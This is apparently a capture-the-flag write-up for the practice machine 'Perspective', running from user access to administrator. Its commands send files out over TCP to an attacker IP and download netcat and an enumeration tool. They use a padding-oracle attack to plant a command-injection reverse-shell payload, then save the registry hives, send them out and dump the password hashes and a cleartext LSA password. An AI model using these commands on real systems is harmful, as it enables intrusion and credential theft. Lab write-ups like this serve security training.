PS C:\Users\webuser> ls $ENV:USERPROFILE -rec -fil *.txt | %{$_.FullName;cat $_.FullName}
C:\Users\webuser\Desktop\user.txt
a77932a1c4fbfc5cf3d042355c25751a
Privilege Escalation
There's some kind of executable file in this user's folder.
PS C:\Users\webuser> ls
-a---- 3/23/2022 7:00 PM 42496 userswebuserdesktop
Download the file for further analysis
└─$ listen > userswebuserdesktop
---
PS C:\Users\webuser> function SendOverTcp { param([string]$server, $port, $filePath); ($tcpClient = New-
Object Net.Sockets.TcpClient($server, $port)).GetStream().Write(($bytes = [IO.File]::ReadAllBytes($fileP
ath)), 0, $bytes.Length); $tcpClient.Close() }
PS C:\Users\webuser> SendOverTcp "10.10.14.99" 4444 "C:\Users\webuser\userswebuserdesktop"
We can decompile with dnSpy to view the source code in plaintext. This seems to be the production application which is running on 80, so nothing interesting there. All SQL queries are parametrized and no SQLi too. There were hardcoded whitelist/blacklist of tags tho.
PS C:\inetpub\bin> tree /f /a
Folder PATH listing
Volume serial number is F4F6-CEE3
C:.
+---Production
| App.config
| PasswordReset.exe
| PasswordReset.exe.config
|
\---Staging
App.config
PasswordReset.exe
PasswordReset.exe.config
PS C:\inetpub\bin> cat */*.config | sls connectionString
<connectionStrings>
<add name="localMssql" connectionString="Data Source=PERSPECTIVE\SQLEXPRESS;database=perspective;Integrated Security=True;Persist Security Info=False;Pooling=False;MultipleActiveResultSets=False;Encrypt=False;TrustServerCertificate=False" providerName="System.Data.SqlClient" />
</connectionStrings>
<add name="SqlProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="localMssql" applicationName="/" enablePasswordRetrieval="false" enablePasswordReset="true"
requiresQuestionAndAnswer="false" requiresUniqueEmail="false" passwordFormat="Hashed" maxInvalidPasswordAttempts="5" passwordAttemptWindow="10" />
<connectionStrings>
<add name="localMssql" connectionString="Data Source=PERSPECTIVE\SQLEXPRESS;database=perspective;Integrated Security=True;Persist Security Info=False;Pooling=False;MultipleActiveResultSets=False;Encrypt=False;TrustServerCertificate=False" providerName="System.Data.SqlClient" />
</connectionStrings>
<add name="SqlProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="localMssql" applicationName="/" enablePasswordRetrieval="false" enablePasswordReset="true"
requiresQuestionAndAnswer="false" requiresUniqueEmail="false" passwordFormat="Hashed" maxInvalidPasswordAttempts="5" passwordAttemptWindow="10" />
<connectionStrings>
<add name="localMssql" connectionString="Data Source=PERSPECTIVE\SQLEXPRESS;database=perspective_stage;Integrated Security=True;Persist Security Info=False;Pooling=False;MultipleActiveResultSets=False;Encrypt=False;TrustServerCertificate=False" providerName="System.Data.SqlClient" />
</connectionStrings>
<add name="SqlProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="localMssql" applicationName="/" enablePasswordRetrieval="false" enablePasswordReset="true"
requiresQuestionAndAnswer="false" requiresUniqueEmail="false" passwordFormat="Hashed" maxInvalidPasswordAttempts="5" passwordAttemptWindow="10" />
<connectionStrings>
<add name="localMssql" connectionString="Data Source=PERSPECTIVE\SQLEXPRESS;database=perspective_stage;Integrated Security=True;Persist Security Info=False;Pooling=False;MultipleActiveResultSets=False;Encrypt=False;TrustServerCertificate=False" providerName="System.Data.SqlClient" />
</connectionStrings>
<add name="SqlProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="localMssql" applicationName="/" enablePasswordRetrieval="false" enablePasswordReset="true"
requiresQuestionAndAnswer="false" requiresUniqueEmail="false" passwordFormat="Hashed" maxInvalidPasswordAttempts="5" passwordAttemptWindow="10" />
PS C:\Users\webuser\Music> iwr 10.10.14.99/wp.exe -out wp.exe
PS C:\Users\webuser\Music> .\wp.exe | tee -filepath wp.log
+----------¦ Checking write permissions in PATH folders (DLL Hijacking)
+ Check for DLL Hijacking in PATH folders https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking
C:\Windows\system32
C:\Windows
C:\Windows\System32\Wbem
C:\Windows\System32\WindowsPowerShell\v1.0\
C:\Windows\System32\OpenSSH\
C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\
C:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\
C:\Program Files\Microsoft SQL Server\150\Tools\Binn\
C:\Program Files\Microsoft SQL Server\150\DTS\Binn\
C:\Program Files\dotnet\
C:\Program Files (x86)\dotnet\
+----------¦ Host File
127.0.0.1 localhost
127.0.0.1 perspective.htb
127.0.0.1 staging.perspective.htb
127.0.0.1 adminpanel.perspective.htb
+----------¦ Current TCP Listening Ports
+ Check for services restricted from the outside
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP 0.0.0.0 22 0.0.0.0 0 Listening 2324 sshd
TCP 0.0.0.0 80 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 135 0.0.0.0 0 Listening 868 svchost
TCP 0.0.0.0 445 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 5985 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 8000 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 8009 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 47001 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 49664 0.0.0.0 0 Listening 472 wininit
TCP 0.0.0.0 49665 0.0.0.0 0 Listening 1096 svchost
TCP 0.0.0.0 49666 0.0.0.0 0 Listening 1428 svchost
TCP 0.0.0.0 49667 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 49668 0.0.0.0 0 Listening 616 services
TCP 10.129.227.158 22 10.10.14.99 49842 Established 2324 sshd
TCP 10.129.227.158 139 0.0.0.0 0 Listening 4 System
TCP 127.0.0.1 49694 0.0.0.0 0 Listening 5632 chrome
TCP 127.0.0.1 49699 0.0.0.0 0 Listening 4288 chrome
TCP 127.0.0.1 49704 0.0.0.0 0 Listening 296 chrome
TCP 127.0.0.1 49709 0.0.0.0 0 Listening 2016 chrome
TCP 127.0.0.1 49713 0.0.0.0 0 Listening 2936 chrome
TCP 127.0.0.1 49718 0.0.0.0 0 Listening 4768 chrome
TCP 127.0.0.1 49725 0.0.0.0 0 Listening 1860 chrome
TCP 127.0.0.1 49733 0.0.0.0 0 Listening 3528 chrome
TCP 127.0.0.1 49738 0.0.0.0 0 Listening 4020 chrome
TCP 127.0.0.1 49745 0.0.0.0 0 Listening 2028 chrome
TCP 127.0.0.1 49751 0.0.0.0 0 Listening 6504 chrome
TCP 127.0.0.1 49756 0.0.0.0 0 Listening 6832 chrome
TCP 127.0.0.1 49761 0.0.0.0 0 Listening 6500 chrome
TCP 127.0.0.1 49765 0.0.0.0 0 Listening 7436 chrome
TCP 127.0.0.1 49773 0.0.0.0 0 Listening 8132 chrome
TCP 127.0.0.1 49780 0.0.0.0 0 Listening 4700 chrome
TCP 127.0.0.1 49787 0.0.0.0 0 Listening 8924 chrome
+----------¦ Looking for Chrome DBs
+ https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history
Chrome cookies database exists at C:\Users\webuser\AppData\Local\Google\Chrome\User Data\Default\Cookies
+ Follow the provided link for further instructions.
Chrome saved login database exists at C:\Users\webuser\AppData\Local\Google\Chrome\User Data\Default\Cookies
+ Follow the provided link for further instructions.
Good stuff from powershell, looks like there's same application running on different port and stage. web.config
contains dynamic keys, not hardcoded ones.
PS C:\WEBAPPS\PartImages_Staging> cat web.config | sls machine
<machineKey decryption="AES" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1" validationKey="AutoGenerate,IsolateApps" compatibilityMode="Framework20SP2" />
Staging App
└─$ ssh webuser@perspective.htb -i webuser.id_rsa -L 800:127.0.0.1:8009

Command Injection
The change password is using PasswordReset.exe
, which is called from cmd.exe
. This call makes it susceptible to Command Injection.
PS C:\WEBAPPS\PartImages_Staging\handlers> cat changePassword.ashx
<%@ WebHandler Language="C#" Class="changePasswordHandler" %>
using System;
using System.Web;
using System.Text.RegularExpressions;
using System.Configuration;
public class changePasswordHandler: IHttpHandler {
private bool ValidPassword(string Password) {
var regex = new Regex("^([a-zA-Z0-9!@#.^]{6,15})$");
return regex.IsMatch(Password);
}
private bool ValidDecryptedString(string decryptedString) {
bool valid = true;
for (int i = 0; i < decryptedString.Length; ++i) {
char c = decryptedString[i];
if (((int) c) > 127) { valid = false; }
}
return valid;
}
protected string ChangePassword(string password1, string password2, string token) {
string changeOutput;
string stdout = "";
string stderr = "";
if (password1 != password2) {
changeOutput = "Passwords do not match!";
} else {
if (ValidPassword(password1)) {
string SessionKeyEnvName = "PerspectiveSessionKey" + ConfigurationManager.AppSettings["environment"];
string decryptedstring = perspective.Utils.Decrypt(token, Environment.GetEnvironmentVariable(SessionKeyEnvName));
if (ValidDecryptedString(decryptedstring)) {
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c C:\\inetpub\\bin\\" + ConfigurationManager.AppSettings["environment"] + "\\PasswordReset.exe " + decryptedstring + " " + password1);
procStartInfo.RedirectStandardOutput = true; procStartInfo.RedirectStandardError = true; procStartInfo.UseShellExecute = false; procStartInfo.CreateNoWindow = true;
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = procStartInfo; p.Start(); stdout = p.StandardOutput.ReadToEnd(); stderr = p.StandardError.ReadToEnd(); changeOutput = stdout + " " + stderr;
}
else {
throw new Exception("Decryption succeeded with invalid plaintext");
}
} else {
changeOutput = "Password Contains Invalid Characters! Password can only contain a-z,A-Z,0-9,!,@,#,.,or ^ and must be 6-15 characters";
}
}
return changeOutput;
}
public void ProcessRequest(HttpContext context) {
string password1 = context.Request.Form["password1"];
string password2 = context.Request.Form["password2"];
string token = context.Request.Form["token"];
context.Response.ContentType = "text/plain";
string result = ChangePassword(password1, password2, token);
context.Response.Write(result);
}
public bool IsReusable { get { return false; } }
}
The command that is ran:
cmd /c C:\inetpub\bin\{environment}\PasswordReset.exe {decryptedstring} {password1}
password
is protected and can only be Regex("^([a-zA-Z0-9!@#.^]{6,15})$")
pattern, so we can't just chain other commands. decryptedstring
is not blacklisted, but it must be valid.
Padding Oracle Attack
# Valid request
└─$ curl 'http://localhost:800/handlers/changePassword.ashx' -d 'password1=t@htb.com&password2=t@htb.com&token=5KhRzDirfOcCDLTD77wNjKSQFmzKSRHh07s0XykXlA0'
Resetting Password for user: t@htb.com
...successfully changed password
# Invalid token, changed last character
└─$ curl 'http://localhost:800/handlers/changePassword.ashx' -d 'password1=t@htb.com&password2=t@htb.com&token=5KhRzDirfOcCDLTD77wNjKSQFmzKSRHh07s0XykXlAx'
Padding is invalid and cannot be removed.
# Remove last character
└─$ curl 'http://localhost:800/handlers/changePassword.ashx' -d 'password1=t@htb.com&password2=t@htb.com&token=5KhRzDirfOcCDLTD77wNjKSQFmzKSRHh07s0XykXlA-'
Length of the data to decrypt is invalid.
From the messages we can guess that we are dealing with a block cipher, and most probably the Padding Oracle Attack
Initially I found padding-oracle-attacker, but that tool didn't go well. So then I tried padre, results:
PS C:\> mkdir
PS C:\> cd Temp
PS C:\Temp> iwr 10.10.14.99/nc.exe -out nc.exe
---
└─$ go install github.com/glebarez/padre@latest
└─$ padre -u "http://localhost:800/handlers/changePassword.ashx" -post "password1=t@t.com&password2=t@t.com&token=$" -enc "& C:\Temp\nc.exe 10.10.14.99 4444 -e powershell"
[!] HTTP Content-Type detected automatically as application/x-www-form-urlencoded
[i] padre is on duty
[i] using concurrency (http connections): 30
[+] successfully detected padding oracle
[+] detected block length: 16
[!] mode: encrypt
[1/1] tHJ6JtS/lN6hIPDNclDgq6BjAa/hONKle4ZUlsBgQYTOGvVwz9y+W2vKHeIvxY7CbmxuZWxmZWliZXN6Zmlhcg== [64/64] | reqs: 7081 (63/sec)
└─$ echo -n 'tHJ6JtS/lN6hIPDNclDgq6BjAa/hONKle4ZUlsBgQYTOGvVwz9y+W2vKHeIvxY7CbmxuZWxmZWliZXN6Zmlhcg==' | base64 -d | basenc --base64url -w0 tHJ6JtS_lN6hIPDNclDgq6BjAa_hONKle4ZUlsBgQYTOGvVwz9y-W2vKHeIvxY7CbmxuZWxmZWliZXN6Zmlhcg==
What we did is
cmd /c C:\inetpub\bin\{environment}\PasswordReset.exe {decryptedstring} {password1}
->
cmd /c C:\inetpub\bin\{environment}\PasswordReset.exe & NEW_COMMAND -->IGNORED {decryptedstring} {password1}
Root.txt
PS C:\windows\system32\inetsrv> whoami
perspective\administrator
PS C:\Users\Administrator> ls /Users/Administrator -rec -fil *.txt | %{$_.FullName;cat $_.FullName}
C:\Users\Administrator\Desktop\root.txt
aba5fe74a6fde7165ef0075a936deb3a
Hashdump
└─$ nc -lvnp 4444 > sam.save &
nc -lvnp 4445 > system.save &
nc -lvnp 4446 > security.save &
---
PS C:\Users\Public\Music> reg save hklm\sam sam.save
reg save hklm\system system.save
reg save hklm\security security.save
function SendOverTcp { param([string]$server, $port, $filePath); ($tcpClient = New-Object Net.Sockets.TcpClient($server, $port)).GetStream().Write(($bytes = [IO.File]::ReadAllBytes($filePath)), 0, $bytes.Length); $tcpClient.Close() }
$server = "10.10.14.99";
$port = 4444; $filePath = "C:\users\public\music\sam.save"; SendOverTcp "$server" "$port" "$filePath"
$port = 4445; $filePath = "C:\users\public\music\system.save"; SendOverTcp "$server" "$port" "$filePath"
$port = 4446; $filePath = "C:\users\public\music\security.save"; SendOverTcp "$server" "$port" "$filePath"
---
└─$ impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x815d39bbbbcdd512ce0eadebd02f6229
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3ebc094377ee665f31a78f536ba4f1af:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7cd9849be63b88b3f4e910cdae120f3d:::
sqladmin:1001:aad3b435b51404eeaad3b435b51404ee:17e1ecc085fb5fd49810495ca173052e:::
dbuser:1003:aad3b435b51404eeaad3b435b51404ee:ffdd348640d3215cfe351d5cf928cb93:::
webuser:1004:aad3b435b51404eeaad3b435b51404ee:9c101375df857fad5e6bec682ffa4187:::
sshd:1005:aad3b435b51404eeaad3b435b51404ee:4edb911b4f987283a91a175c6d4445bb:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):Jb8EV9FStRWDaejiz
Last updated